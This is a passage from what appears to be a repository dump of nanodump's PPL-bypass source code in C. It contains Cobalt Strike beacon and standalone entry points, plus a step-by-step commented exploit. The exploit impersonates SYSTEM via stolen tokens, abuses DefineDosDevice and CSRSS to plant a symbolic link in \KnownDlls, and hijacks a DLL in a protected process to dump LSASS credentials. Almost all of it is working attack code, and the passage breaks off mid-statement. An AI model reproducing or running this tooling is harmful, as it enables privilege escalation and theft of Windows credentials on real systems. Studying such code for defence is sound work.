get_library_address(ADVAPI32_DLL, TRUE),\n        SetKernelObjectSecurity_SW2_HASH,\n        0);\n    if (!SetKernelObjectSecurity)\n    {\n        api_not_found(\"SetKernelObjectSecurity\");\n        goto end;\n    }\n\n    InitializeSecurityDescriptor_t InitializeSecurityDescriptor;\n    InitializeSecurityDescriptor = (InitializeSecurityDescriptor_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        InitializeSecurityDescriptor_SW2_HASH,\n        0);\n    if (!InitializeSecurityDescriptor)\n    {\n        api_not_found(\"InitializeSecurityDescriptor\");\n        goto end;\n    }\n    SetSecurityDescriptorDacl_t SetSecurityDescriptorDacl;\n    SetSecurityDescriptorDacl = (SetSecurityDescriptorDacl_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        SetSecurityDescriptorDacl_SW2_HASH,\n        0);\n    if (!SetSecurityDescriptorDacl)\n    {\n        api_not_found(\"SetSecurityDescriptorDacl\");\n        goto end;\n    }\n\n    success = get_current_dll_filename(&pwszDllName);\n    if (!success)\n        goto end;\n\n    //\n    // Build the path of the symbolic link object to delete. The name of the DLL can be determined\n    // at runtime by invoking 'GetCurrentDllFileName'. The final path will be something such as \n    // '\\KnownDlls\\DPAPI.dll'.\n    //\n    pwszLinkPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszLinkPath)\n    {\n        malloc_failed();\n        goto end;\n    }\n\n    wcsncpy(pwszLinkPath, L\"\\\\KnownDlls\\\\\", MAX_PATH);\n    wcsncat(pwszLinkPath, pwszDllName, MAX_PATH);\n\n    DPRINT(\"Object to delete: %ls\", pwszLinkPath);\n\n    name.Buffer  = pwszLinkPath;\n    name.Length  = (USHORT)wcsnlen(name.Buffer, MAX_PATH);;\n    name.Length *= 2;\n    name.MaximumLength = name.Length + 2;\n    InitializeObjectAttributes(&oa, &name, OBJ_CASE_INSENSITIVE, NULL, NULL);\n\n    //\n    // Here we want to call NtOpenSymbolicLinkObject with DELETE access because we want to delete\n    // the link. Unfortunately, the inherited ACL does not grant us this right and we will thus \n    // get an \"Access denied\" error. What we can do though is open the symbolic link object with\n    // WRITE_DAC access in order to change the ACL of the object.\n    //\n    status = NtOpenSymbolicLinkObject(\n        &hLink,\n        WRITE_DAC,\n        &oa);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenSymbolicLinkObject\", status);\n        goto end;\n    }\n\n    DPRINT(\"NtOpenSymbolicLinkObject('%ls', WRITE_DAC) OK\", pwszLinkPath);\n\n    //\n    // Prepare the Security Descriptor. Here we will just use a NULL DACL. This will give everyone\n    // access to the object but that's not really an issue because we'll delete it right after.\n    //\n    success = InitializeSecurityDescriptor(\n        &sd,\n        SECURITY_DESCRIPTOR_REVISION);\n    if (!success)\n    {\n        function_failed(\"InitializeSecurityDescriptor\");\n        goto end;\n    }\n\n    success = SetSecurityDescriptorDacl(\n        &sd,\n        TRUE,\n        NULL,\n        FALSE);\n    if (!success)\n    {\n        function_failed(\"SetSecurityDescriptorDacl\");\n        goto end;\n    }\n\n    //\n    // Apply the new Security Descriptor.\n    //\n    success = SetKernelObjectSecurity(\n        hLink,\n        DACL_SECURITY_INFORMATION,\n        &sd);\n    if (!success)\n    {\n        function_failed(\"SetKernelObjectSecurity\");\n        goto end;\n    }\n\n    DPRINT(\"SetKernelObjectSecurity OK\");\n\n    //\n    // At this point we can close the object handle because only the WRITE_DAC right is associated\n    // to it. This handle will not allow us to delete the object.\n    //\n    status = NtClose(hLink); hLink = NULL;\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtClose\", status);\n        goto end;\n    }\n\n    DPRINT(\"NtClose OK\");\n\n    //\n    // This time, we should be able to open the link object with DELETE access.\n    //\n    status = NtOpenSymbolicLinkObject(\n        &hLink,\n        DELETE,\n        &oa);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtOpenSymbolicLinkObject\", status);\n        goto end;\n    }\n\n    DPRINT(\"NtOpenSymbolicLinkObject('%ls', DELETE) OK\", pwszLinkPath);\n\n    //\n    // Now, we can invoke NtMakeTemporaryObject to disable the \"Permanent\" flag of the object. When\n    // an object does not have the \"Permanent\" flag enabled, it is automatically deleted when all \n    // its handles are closed.\n    //\n    status = NtMakeTemporaryObject(hLink);\n    if (!NT_SUCCESS(status))\n    {\n        syscall_failed(\"NtMakeTemporaryObject\", status);\n        goto end;\n    }\n\n    DPRINT(\"NtMakeTemporaryObject OK\");\n\n    bReturnValue = TRUE;\n\nend:\n    if (hLink)\n        NtClose(hLink);\n    if (pwszLinkPath)\n    {\n        DATA_FREE(pwszLinkPath, wcslen(pwszLinkPath) * sizeof(WCHAR));\n    }\n\n    return bReturnValue;\n}\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/ppl/ppl.c",
    "content": "#include \"ppl/ppl.h\"\n\n#if defined(PPL_DUMP) && defined(BOF)\n\n#include \"ppl_dump.c\"\n#include \"ppl_utils.c\"\n#include \"../utils.c\"\n#include \"../dinvoke.c\"\n#include \"../syscalls.c\"\n#include \"../token_priv.c\"\n#include \"../impersonate.c\"\n\nvoid go(char* args, int length)\n{\n    datap          parser                    = { 0 };\n    BOOL           duplicate_handle          = FALSE;\n    LPCSTR         dump_path                 = NULL;\n    BOOL           use_valid_sig             = FALSE;\n    unsigned char* nanodump_ppl_dump_dll     = NULL;\n    int            nanodump_ppl_dump_dll_len = 0;\n\n    BeaconDataParse(&parser, args, length);\n    dump_path = BeaconDataExtract(&parser, NULL);\n    use_valid_sig = (BOOL)BeaconDataInt(&parser);\n    duplicate_handle = (BOOL)BeaconDataInt(&parser);\n    nanodump_ppl_dump_dll = (unsigned char*)BeaconDataExtract(&parser, &nanodump_ppl_dump_dll_len);\n\n    run_ppl_dump_exploit(\n        nanodump_ppl_dump_dll,\n        nanodump_ppl_dump_dll_len,\n        dump_path,\n        use_valid_sig,\n        duplicate_handle);\n}\n\n#elif defined(PPL_DUMP) && defined(EXE)\n\n#include \"ppl/ppl_dump.h\"\n\n#ifdef _WIN64\n #include \"nanodump_ppl_dump_dll.x64.h\"\n#else\n #include \"nanodump_ppl_dump_dll.x86.h\"\n#endif\n\nvoid usage(char* procname)\n{\n    PRINT(\"usage: %s --write C:\\\\Windows\\\\Temp\\\\doc.docx [--valid] [--duplicate] [--help]\", procname);\n    PRINT(\"Dumpfile options:\");\n    PRINT(\"    --write DUMP_PATH, -w DUMP_PATH\");\n    PRINT(\"            filename of the dump\");\n    PRINT(\"    --valid, -v\");\n    PRINT(\"            create a dump with a valid signature\");\n    PRINT(\"Obtain an LSASS handle via:\");\n    PRINT(\"    --duplicate, -d\");\n    PRINT(\"            duplicate an existing \" LSASS \" handle\");\n    PRINT(\"Help:\");\n    PRINT(\"    --help, -h\");\n    PRINT(\"            print this help message and leave\");\n}\n\nint main(int argc, char* argv[])\n{\n    BOOL   duplicate_handle = FALSE;\n    LPCSTR dump_path        = NULL;\n    BOOL   use_valid_sig    = FALSE;\n\n#ifdef _M_IX86\n    if(local_is_wow64())\n    {\n        PRINT_ERR(\"Nanodump does not support WoW64\");\n        return -1;\n    }\n#endif\n\n    for (int i = 1; i < argc; ++i)\n    {\n        if (!strncmp(argv[i], \"-v\", 3) ||\n            !strncmp(argv[i], \"--valid\", 8))\n        {\n            use_valid_sig = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-w\", 3) ||\n                 !strncmp(argv[i], \"--write\", 8))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --write value\");\n                return 0;\n            }\n            dump_path = argv[++i];\n        }\n        else if (!strncmp(argv[i], \"-d\", 3) ||\n                 !strncmp(argv[i], \"--duplicate\", 12))\n        {\n            duplicate_handle = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-h\", 3) ||\n                 !strncmp(argv[i], \"--help\", 7))\n        {\n            usage(argv[0]);\n            return 0;\n        }\n        else\n        {\n            PRINT(\"invalid argument: %s\", argv[i]);\n            return 0;\n        }\n    }\n\n    if (!dump_path)\n    {\n        PRINT(\"You need to provide the --write parameter\");\n        return 0;\n    }\n\n    if (!is_full_path(dump_path))\n    {\n        PRINT(\"You need to provide the full path: %s\", dump_path);\n        return 0;\n    }\n\n    run_ppl_dump_exploit(\n        nanodump_ppl_dump_dll,\n        nanodump_ppl_dump_dll_len,\n        dump_path,\n        use_valid_sig,\n        duplicate_handle);\n\n    return 0;\n}\n\n#elif defined(PPL_MEDIC) && defined(BOF)\n\n#include \"ppl_medic.c\"\n#include \"ppl_medic_client.c\"\n#include \"ppl_utils.c\"\n#include \"../handle.c\"\n#include \"../utils.c\"\n#include \"../dinvoke.c\"\n#include \"../syscalls.c\"\n#include \"../token_priv.c\"\n#include \"../impersonate.c\"\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\n#include \"../pipe.c\"\n#endif\n\nvoid go(char* args, int length)\n{\n    datap          parser                     = { 0 };\n    unsigned char* nanodump_ppl_medic_dll     = NULL;\n    int            nanodump_ppl_medic_dll_len = 0;\n    LPSTR          dump_path                  = NULL;\n    BOOL           use_valid_sig              = FALSE;\n    BOOL           elevate_handle             = FALSE;\n\n    BeaconDataParse(&parser, args, length);\n    nanodump_ppl_medic_dll = (unsigned char*)BeaconDataExtract(&parser, &nanodump_ppl_medic_dll_len);\n\n#if PASS_PARAMS_VIA_NAMED_PIPES == 1\n    /*\n     * only parse parameters if PASS_PARAMS_VIA_NAMED_PIPES is enabled\n     * if not, the hardcoded options in NanoDumpPPLMedic will be used\n     */\n    dump_path = BeaconDataExtract(&parser, NULL);\n    use_valid_sig = (BOOL)BeaconDataInt(&parser);\n    elevate_handle = (BOOL)BeaconDataInt(&parser);\n#endif\n\n    run_ppl_medic_exploit(\n        nanodump_ppl_medic_dll,\n        nanodump_ppl_medic_dll_len,\n        dump_path,\n        use_valid_sig,\n        elevate_handle);\n}\n\n#elif defined(PPL_MEDIC) && defined(EXE)\n\n#include \"ppl/ppl_medic.h\"\n\n#include \"nanodump_ppl_medic_dll.x64.h\"\n\n#if !defined(PASS_PARAMS_VIA_NAMED_PIPES) || (PASS_PARAMS_VIA_NAMED_PIPES == 0)\n\nint main(int argc, char* argv[])\n{\n    if (argc > 1)\n    {\n        PRINT(\"This binary doesn't take any parameteres because all the 'dump options' are hardcoded in NanoDumpPPLMedic\");\n        return 0;\n    }\n\n    run_ppl_medic_exploit(\n        nanodump_ppl_medic_dll,\n        nanodump_ppl_medic_dll_len,\n        NULL,\n        FALSE,\n        FALSE);\n\n    return 0;\n}\n\n#else\n\nvoid usage(char* procname)\n{\n    PRINT(\"usage: %s --write C:\\\\Windows\\\\Temp\\\\doc.docx [--valid] [--elevate-handle] [--help]\", procname);\n    PRINT(\"Dumpfile options:\");\n    PRINT(\"    --write DUMP_PATH, -w DUMP_PATH\");\n    PRINT(\"            filename of the dump\");\n    PRINT(\"    --valid, -v\");\n    PRINT(\"            create a dump with a valid signature\");\n    PRINT(\"Avoid opening a handle with high privileges:\")\n    PRINT(\"    --elevate-handle, -eh\");\n    PRINT(\"            open a handle to \" LSASS \" with low privileges and duplicate it to gain higher privileges\");\n    PRINT(\"Help:\");\n    PRINT(\"    --help, -h\");\n    PRINT(\"            print this help message and leave\");\n}\n\nint main(int argc, char* argv[])\n{\n    LPSTR  dump_path         = NULL;\n    BOOL   use_valid_sig     = FALSE;\n    BOOL   elevate_handle    = FALSE;\n\n    for (int i = 1; i < argc; ++i)\n    {\n        if (!strncmp(argv[i], \"-v\", 3) ||\n            !strncmp(argv[i], \"--valid\", 8))\n        {\n            use_valid_sig = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-w\", 3) ||\n                 !strncmp(argv[i], \"--write\", 8))\n        {\n            if (i + 1 >= argc)\n            {\n                PRINT(\"missing --write value\");\n                return 0;\n            }\n            dump_path = argv[++i];\n        }\n        else if (!strncmp(argv[i], \"-eh\", 4) ||\n                 !strncmp(argv[i], \"--elevate-handle\", 17))\n        {\n            elevate_handle = TRUE;\n        }\n        else if (!strncmp(argv[i], \"-h\", 3) ||\n                 !strncmp(argv[i], \"--help\", 7))\n        {\n            usage(argv[0]);\n            return 0;\n        }\n        else\n        {\n            PRINT(\"invalid argument: %s\", argv[i]);\n            return 0;\n        }\n    }\n\n    if (!dump_path)\n    {\n        PRINT(\"You need to provide the --write parameter\");\n        return 0;\n    }\n\n    if (!is_full_path(dump_path))\n    {\n        PRINT(\"You need to provide the full path: %s\", dump_path);\n        return 0;\n    }\n\n    run_ppl_medic_exploit(\n        nanodump_ppl_medic_dll,\n        nanodump_ppl_medic_dll_len,\n        dump_path,\n        use_valid_sig,\n        elevate_handle);\n\n    return 0;\n}\n\n#endif\n\n#endif\n"
  },
  {
    "path": "Creds-BOF/nanodump/source/ppl/ppl_dump.c",
    "content": "#include \"ppl/ppl_dump.h\"\n\nBOOL run_ppl_dump_exploit(\n    IN unsigned char nanodump_ppl_dump_dll[],\n    IN unsigned int nanodump_ppl_dump_dll_len,\n    IN LPCSTR dump_path,\n    IN BOOL use_valid_sig,\n    IN BOOL duplicate_handle)\n{\n    BOOL bCurrentUserIsSystem = FALSE;\n    HANDLE hSystemToken = NULL;\n    BOOL bImpersonationActive = FALSE;\n    BOOL success;\n    NTSTATUS status;\n    BOOL bReturnValue = FALSE;\n\n    // STEP 1\n    LPWSTR pwszKnownDllsObjDir = L\"\\\\GLOBAL??\\\\KnownDlls\";\n    HANDLE hKnownDllsObjDir = NULL;\n\n    // STEP 2\n    LPWSTR pwszDllToHijack = NULL;\n    LPWSTR pwszDllLinkName = NULL;\n    HANDLE hDllLink = NULL;\n    SECURITY_DESCRIPTOR sd = { 0 };\n\n    // STEP 3\n    LPWSTR pwszFakeGlobalrootLinkName = L\"\\\\??\\\\GLOBALROOT\";\n    LPWSTR pwszFakeGlobalrootLinkTarget = L\"\\\\GLOBAL??\";\n    HANDLE hFakeGlobalrootLink = NULL;\n    HANDLE hLocalServiceToken = NULL;\n\n    // STEP 4\n    LPWSTR pwszDosDeviceName = NULL;\n    LPWSTR pwszDosDeviceTargetPath = NULL;\n\n    // STEP 5\n    LPWSTR pwszSectionName = NULL;\n    HANDLE hDllSection = NULL;\n    HANDLE hTransaction = NULL;\n\n    // STEP 6\n    LPWSTR pwszCommandLine = NULL;\n    HANDLE hCurrentToken = NULL;\n    HANDLE hNewProcessToken = NULL;\n    HANDLE hNewProcess = NULL;\n    SECURITY_QUALITY_OF_SERVICE Qos = { 0 };\n    OBJECT_ATTRIBUTES TokenObjectAttributes = { 0 };\n    RevertToSelf_t RevertToSelf = NULL;\n\n    if (!check_ppl_requirements())\n        goto end;\n\n    RevertToSelf = (RevertToSelf_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        RevertToSelf_SW2_HASH,\n        0);\n    if (!RevertToSelf)\n    {\n        api_not_found(\"RevertToSelf\");\n        goto end;\n    }\n\n    InitializeSecurityDescriptor_t InitializeSecurityDescriptor;\n    InitializeSecurityDescriptor = (InitializeSecurityDescriptor_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        InitializeSecurityDescriptor_SW2_HASH,\n        0);\n    if (!InitializeSecurityDescriptor)\n    {\n        api_not_found(\"InitializeSecurityDescriptor\");\n        goto end;\n    }\n\n    SetSecurityDescriptorDacl_t SetSecurityDescriptorDacl;\n    SetSecurityDescriptorDacl = (SetSecurityDescriptorDacl_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        SetSecurityDescriptorDacl_SW2_HASH,\n        0);\n    if (!SetSecurityDescriptorDacl)\n    {\n        api_not_found(\"SetSecurityDescriptorDacl\");\n        goto end;\n    }\n\n    DefineDosDeviceW_t DefineDosDeviceW;\n    DefineDosDeviceW = (DefineDosDeviceW_t)(ULONG_PTR)get_function_address(\n        get_library_address(KERNELBASE_DLL, TRUE),\n        DefineDosDeviceW_SW2_HASH,\n        0);\n    if (!DefineDosDeviceW)\n    {\n        api_not_found(\"DefineDosDeviceW\");\n        goto end;\n    }\n\n    SetKernelObjectSecurity_t SetKernelObjectSecurity;\n    SetKernelObjectSecurity = (SetKernelObjectSecurity_t)(ULONG_PTR)get_function_address(\n        get_library_address(ADVAPI32_DLL, TRUE),\n        SetKernelObjectSecurity_SW2_HASH,\n        0);\n    if (!SetKernelObjectSecurity)\n    {\n        api_not_found(\"SetKernelObjectSecurity\");\n        goto end;\n    }\n\n    if (file_exists(dump_path))\n    {\n        if (!delete_file(dump_path))\n        {\n            goto end;\n        }\n    }\n\n    DPRINT(\"Get the name of the DLL to hijack\");\n\n    success = get_hijackeable_dllname(&pwszDllToHijack);\n    if (!success)\n        goto end;\n\n    DPRINT(\"DLL to hijack: %ls\", pwszDllToHijack);\n\n    success = is_current_user_system(&bCurrentUserIsSystem);\n    if (!success)\n        goto end;\n\n    DPRINT(\"Current user is SYSTEM? -> %x\", bCurrentUserIsSystem);\n\n    //\n    // 1. Create the object directory '\\GLOBAL??\\KnownDlls'.\n    //\n    //    When executed as an administrator, this fails (access denied). Thanks to WinObj, we can \n    //    see that Administrators do have the \"Add Object\" right but the corresponding ACE applies \n    //    to child objects only, which means that they cannot add objects in the directory \n    //    '\\Global??' itself. Therefore, we need to elevate to SYSTEM first. To do so we will \n    //    search for SYSTEM tokens among the running processes and steal one. This requires both\n    //    SeImpersonatePrivilege and SeDebugPrivilege.\n    //    Note: as long as the object is not marked as \"permanent\", we do not need to remove it \n    //    manually. When we close the last handle, the object is removed automatically.\n    //\n    if (!bCurrentUserIsSystem)\n    {\n        success = impersonate_system(&hSystemToken);\n        if (!success)\n        {\n            DPRINT_ERR(\"Failed to impersonate SYSTEM\");\n            goto end;\n        }\n\n        bImpersonationActive = TRUE;\n\n        DPRINT(\"Impersonating SYSTEM...\");\n    }\n\n    success = object_manager_create_directory(\n        pwszKnownDllsObjDir,\n        &hKnownDllsObjDir);\n    if (!success)\n        goto end;\n\n    DPRINT(\"Created Object Directory: '%ls'\", pwszKnownDllsObjDir);\n\n    //\n    // 2. Create a symlink in '\\GLOBAL??\\KnownDlls\\' with the name of a DLL to hijack. The target\n    //    of the link doesn't matter.\n    //\n    //    The next steps will allow us to trick the CSRSS service into opening the symbolic link\n    //    '\\GLOBAL??\\KnownDlls\\FOO.dll' instead of '\\KnownDlls\\FOO.dll' while impersonating the\n    //    caller. That's why we need to create this symbolic link beforehand. As the service will \n    //    just open the object itself, its target does not matter. \n    //\n\n    pwszDllLinkName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszDllLinkName)\n    {\n        malloc_failed();\n        goto end;\n    }\n\n    wcsncpy(pwszDllLinkName, pwszKnownDllsObjDir, MAX_PATH);\n    wcsncat(pwszDllLinkName, L\"\\\\\", MAX_PATH);\n    wcsncat(pwszDllLinkName, pwszDllToHijack, MAX_PATH);\n\n    success = object_manager_create_symlik(\n        pwszDllLinkName,\n        DLL_LINK_TARGET,\n        &hDllLink);\n    if (!success || !hDllLink)\n        goto end;\n\n    DPRINT(\"Created Symbolic link: '%ls'\", pwszDllLinkName);\n\n    //\n    // 3. Inside the user's DOS device directory create a new symbolic link called 'GLOBALROOT' \n    //    pointing to '\\GLOBAL??'\n    //\n    //    The idea here is to create a \"fake\" GLOBALROOT that will point to a location we control\n    //    because, at step 4, the CSRSS service will try to open '\\??\\GLOBALROOT\\...' while\n    //    impersonating the caller. '\\??' represents the current user's DOS device directory. For \n    //    SYSTEM, '\\??' points to '\\GLOBAL??' so '\\??\\GLOBALROOT' is '\\GLOBAL??\\GLOBALROOT', which \n    //    is the actual GLOBALROOT. Therefore the trick would not work.\n    //    However, for users other than SYSTEM, '\\??' points to a dedicated DOS device directory\n    //    such as '\\Sessions\\0\\DosDevices\\00000000-XXXXXXXX'. Therefore, we can create a fake \n    //    GLOBALROOT symbolic link that points to an arbitrary location. If we create this link so\n    //    that '\\Sessions\\0\\DosDevices\\00000000-XXXXXXXX\\GLOBALROOT' -> '\\GLOBAL??', \n    //    '\\??\\GLOBALROOT' will actually point to '\\GLOBAL??' instead of '\\GLOBAL??\\GLOBALROOT' in\n    //    our context.\n    //    To summarize:\n    //      - If SYSTEM: '\\??\\GLOBALROOT' -> '' \n    //      - Else:      '\\??\\GLOBALROOT' -> '\\GLOBAL??' (because of our symbolic link)\n    //    Which means that:\n    //      - If SYSTEM: '\\??\\GLOBALROOT\\KnownDlls\\FOO.DLL' -> '\\KnownDlls\\FOO.DLL'\n    //      - Else:      '\\??\\GLOBALROOT\\KnownDlls\\FOO.DLL' -> '\\GLOBAL??\\KnownDlls\\FOO.DLL'\n    //\n    //    So, at this step, we need to:\n    //      - revert to self if we impersonated SYSTEM as an administrator;\n    //      - impersonate another user (LOCAL SERVICE for example) if we were running as SYSTEM.\n    //\n\n    if (bCurrentUserIsSystem)\n    {\n        //\n        // If we are running as SYSTEM, we need to impersonate another user. But, if we do so, the\n        // the impersonated user will not have sufficient access on the symbolic link we just \n        // created and the DefineDosDevice call will fail with an \"Access Denied\" error. Therefore\n        // we need to edit the ACL of the object first.\n        // \n        success = InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION);\n        if (!success)\n        {\n            function_failed(\"InitializeSecurityDescriptor\");\n            goto end;\n        }\n\n        success = SetSecurityDescriptorDacl(&sd, TRUE, NULL, FALSE);\n        if (!success)\n        {\n            function_failed(\"SetSecurityDescriptorDacl\");\n            goto end;\n        }\n\n        DPRINT(\"Set a NULL DACL on '%ls'\", pwszDllLinkName);\n\n        success = SetKernelObjectSecurity(\n            hDllLink,\n            DACL_SECURITY_INFORMATION,\n            &sd);\n        if (!success)\n        {\n            function_failed(\"SetKernelObjectSecurity\");\n            goto end;\n        }\n\n        success = impersonate_local_service(&hLocalServiceToken);\n        if (!success)\n            goto end;\n\n        bImpersonationActive = TRUE;\n\n        DPRINT(\"Impersonating LOCAL SERVICE...\");\n    }\n    else\n    {\n        success = RevertToSelf();\n        if (!success)\n        {\n            function_failed(\"RevertToSelf\");\n            goto end;\n        }\n\n        bImpersonationActive = FALSE;\n    }\n\n    success = object_manager_create_symlik(\n        pwszFakeGlobalrootLinkName,\n        pwszFakeGlobalrootLinkTarget,\n        &hFakeGlobalrootLink);\n    if (!success)\n        goto end;\n\n    DPRINT(\"Created symbolic link: '%ls -> %ls'\", pwszFakeGlobalrootLinkName, pwszFakeGlobalrootLinkTarget);\n\n    //\n    // 4. Call DefineDosDevice specifying a device name of \"GLOBALROOT\\KnownDlls\\FOO.DLL\" and a target\n    //    path of a location that the user can create section objects inside.\n    //\n    //    This still need to be executed as a user other than SYSTEM, so that all the symbolic links \n    //    are properly followed. This is the \"fun\" part. DefineDosDevice actually results in an RPC \n    //    call to the CSRSS service. On server side, here is how the device name will be interpreted:\n    //      a. it receives the device name as the second argument;\n    //             >>> GLOBALROOT\\KnownDlls\\FOO.DLL\n    //      b. it will first prepend it with '\\??\\';\n    //             >>> \\??\\GLOBALROOT\\KnownDlls\\FOO.DLL\n    //      c. it will try to open the symbolic link while impersonating the client, the call succeeds\n    //         because we control this symlink (step 1)\n    //             >>> \\GLOBAL??\\KnownDlls\\FOO.DLL (\\??\\GLOBALROOT -> \\GLOBAL??)\n    //      d. it checks whether the path starts with \\GLOBAL??\\ to determine if it's global;\n    //      e. as it does, it rewrites the path and prepends it with '\\GLOBAL??\\', considers the link\n    //         as global and disables impersonation;\n    //             >>> \\GLOBAL??\\GLOBALROOT\\KnownDlls\\FOO.DLL\n    //      f. but \\GLOBAL??\\GLOBALROOT, which is the real GLOBALROOT\n    //             >>> \\KnownDlls\\FOO.DLL\n    //      g. if invokes NtCreateSymbolicLinkObject without impersonating the user and therefore \n    //         creates a symlink inside '\\KnownDlls\\' with an arbitrary name and an arbitrary target\n    //         path.\n    //\n    //    /!\\  The purpose of the initial open operation is to delete the symlink and this is always\n    //         done while impersonating the user. Therefore we won't be able to delete the symlink\n    //         that was created in \\KnownDlls\\. We will have to remove it once we are running code \n    //         inside a PPL with WinTCB level.\n    //\n    pwszDosDeviceName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszDosDeviceName)\n    {\n        malloc_failed();\n        goto end;\n    }\n\n    pwszDosDeviceTargetPath = intAlloc((MAX_PATH + 1) * sizeof(WCHAR));\n    if (!pwszDosDeviceTargetPath)\n    {\n        malloc_failed();\n        goto end;\n    }\n\n    wcsncpy(pwszDosDeviceName, L\"GLOBALROOT\\\\KnownDlls\\\\\", MAX_PATH);\n    wcsncat(pwszDosDeviceName, pwszDllToHijack, MAX_PATH);\n    wcsncpy(pwszDosDeviceTargetPath, L\"\\\\KernelObjects\\\\\", MAX_PATH);\n    wcsncat(pwszDosDeviceTargetPath, pwszDllToHijack, MAX_PATH);\n\n    DPRINT(\"Call DefineDosDevice to create '\\\\KnownDlls\\\\%ls' -> '%ls'\", pwszDllToHijack, pwszDosDeviceTargetPath);\n\n    success = DefineDosDeviceW(\n        DDD_NO_BROADCAST_SYSTEM | DDD_RAW_TARGET_PATH,\n        pwszDosDeviceName,\n        pwszDosDeviceTargetPath);\n    if (!success && GetLastError() != ERROR_ALREADY_EXISTS)\n    {\n        PRINT_ERR(\"Call to 'DefineDosDeviceW' failed, error: %ld\", GetLastError());\n        goto end;\n    }\n\n    DPRINT(\"DefineDosDevice OK\");\n\n    //\n    // Make sure the link was really created as a consequence of the DefineDosDevice call. But \n    // first, let's revert to self if we are running as SYSTEM or impersonate SYSTEM again.\n    //\n    if (bCurrentUserIsSystem)\n    {\n        success = RevertToSelf();\n        if (!success)\n        {\n            function_failed(\"RevertToSelf\");\n            goto end;\n        }\n\n        bImpersonationActive = FALSE;\n    }\n    else\n    {\n        success = impersonate(hSystemToken);\n        if (!success)\n            goto end;\n\n        bImpersonationActive = TRUE;\n\n        DPRINT(\"Impersonating SYSTEM...\");\n    }\n\n    DPRINT(\"Check whether the symbolic link was really created in '\\\\KnownDlls\\\\'\");\n\n    success = check_known_dll_symbolic_link(\n        pwszDllToHijack,\n        pwszDosDeviceTargetPath);\n    if (!success)\n    {\n        PRINT_ERR(\"The symbolic link '\\\\KnownDlls\\\\%ls' was not created.\", pwszDllToHijack);\n        goto end;\n    }\n\n    DPRINT(\"The symbolic link was successfully created: '\\\\KnownDlls\\\\%ls' -> '%ls'\", pwszDllToHijack, pwszDosDeviceTargetPath);\n\n    //\n    // 5. Create the image section object at the target location for an arbitrary DLL.\n    //\n    //    Final piece of the puzzle. Now that we have a symbolic link in \\KnownDlls that points to\n    //    an arbitrary location, we just have to create a new Section at this location and map our\n    //    payload DLL.\n    //\n    pwszSectionName = pwszDosDeviceTargetPath;\n\n    success = map_dll(\n        nanodump_ppl_dump_dll,\n        nanodump_ppl_dump_dll_len,\n        pwszSectionName,\n        &hDllSection,\n        &hTransaction);\n    if (!success)\n    {\n        DPRINT_ERR(\"Failed to map the DLL.\");\n        goto end;\n    }\n\n    DPRINT(\"Mapped payload DLL to: '%ls'\", pwszSectionName);\n\n    //\n    // 6. Create a PPL process and hijack one of the DLLs it tries to load\n    //\n    //    First we need to prepare the command line that we are going to execute.\n    //    Then we need to get a SYSTEM token to start our new process. If the current process was \n    //    started as SYSTEM, we can simply copy this token. If SYSTEM was impersonated, we need to\n    //    copy the current thread's token.\n    //    Finally, we can start our protected process with the prepared command line and the \n    //    duplicated token.\n    //\n    success = prepare_ppl_command_line(\n        dump_path,\n        use_valid_sig,\n        duplicate_handle,\n        &pwszCommandLine);\n    if (!success)\n        goto end;\n    DPRINT(\"command line: %ls\", pwszCommandLine);\n\n    if (bCurrentUserIsSystem)\n    {\n        status = NtOpenProcessToken(\n            NtCurrentProcess(),\n            TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES,\n            &hCurrentToken);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtOpenProcessToken\", status);\n            goto end;\n        }\n    }\n    else\n    {\n        status = NtOpenThreadToken(\n            NtCurrentThread(),\n            TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ADJUST_PRIVILEGES,\n            FALSE,\n            &hCurrentToken);\n        if (!NT_SUCCESS(status))\n        {\n            syscall_failed(\"NtOpenThreadToken\", status);\n            goto end;\n        }\n    }\n\n    DPRINT(\"Enable privilege SeAssignPrimaryTokenPrivilege\");\n\n    success = check_token_privilege(\n        hCurrentToken,\n        L\"SeAssignPrimaryTokenPrivilege\",\n        TRUE);\n    if (!success)\n    {\n        DPRINT_ERR(\"Could not enable SeAssignPrimaryTokenPrivilege\");\n        goto end;\n    }\n\n    DPRINT(\"Create a primary token\");\n\n    InitializeObjectAttributes(&TokenObjectAttributes, NULL, 0, NULL, NULL);\n    Qos.Length = sizeof(SECURITY_QUALITY_OF_SERVICE);\n    Qos.ImpersonationLevel = SecurityAnonymous;\n    Qos.ContextTrackingMode = 0;\n    Qos.EffectiveOnly = FALSE;\n    TokenObjectAttributes.SecurityQualityOfService = &Qos;\n\n    status = NtDuplicateToken(\n        hCurrentToken,\n        MAXIMUM_ALLOWED,\n        &TokenObjectAttributes,\n        FALSE,\n        TokenPrimary,\n        &hNewProcessToken);\n    if (!success)\n    {\n        syscall_failed(\"NtDuplicateToken\", status);\n        goto end;\n    }\n\n    DPRINT(\"Create protected process with command line: %ls\", pwszCommandLine);\n\n    success = create_protected_process_as_user(\n        hNewProcessToken,\n        pwszCommandLine,\n        &hNewProcess);\n    if (!success)\n    {\n        PRINT_ERR(\"Failed to create the PPL process\");\n        goto end;\n    }\n\n    DATA_FREE(pwszCommandLine, wcslen(pwszCommandLine) * sizeof(WCHAR));\n\n    success = wait_for_process(hNewProcess);\n    if 